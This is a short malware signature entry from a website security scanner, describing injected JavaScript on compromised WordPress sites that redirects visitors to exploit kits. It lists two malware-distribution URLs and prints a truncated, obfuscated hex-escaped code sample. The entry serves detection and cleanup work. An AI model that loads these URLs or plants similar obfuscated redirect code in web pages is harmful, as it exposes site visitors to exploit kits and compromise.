SiteCheck Signatures

  1. Home
  2. Signatures
  3. SiteCheck Signatures
  4. malware-entry-mwjs69693

malware-entry-mwjs69693

Description:

A malicious javascript code was identified. It has been used on many compromised WordPress sites to redirects visitors to multiple exploit kits (Blackhole, etc).

 
Note that every javascript file gets compromised by this malware (in addition to backdoors left by the attackers).

 
Affecting: Any WordPress site.

Clean up: You can also sign up with us and let our team remove the malware for you.

 
Loads malware from multiple sources:


http://91.196.216.64/s.php?ref=
http://sexatcars.in/gate/gate.php?f=107345
(and many other domains).

 

Malware dump (sample of malware):


var _0xdc8d=["x73x63x5Fx63x6F","x67x65x74x45x6..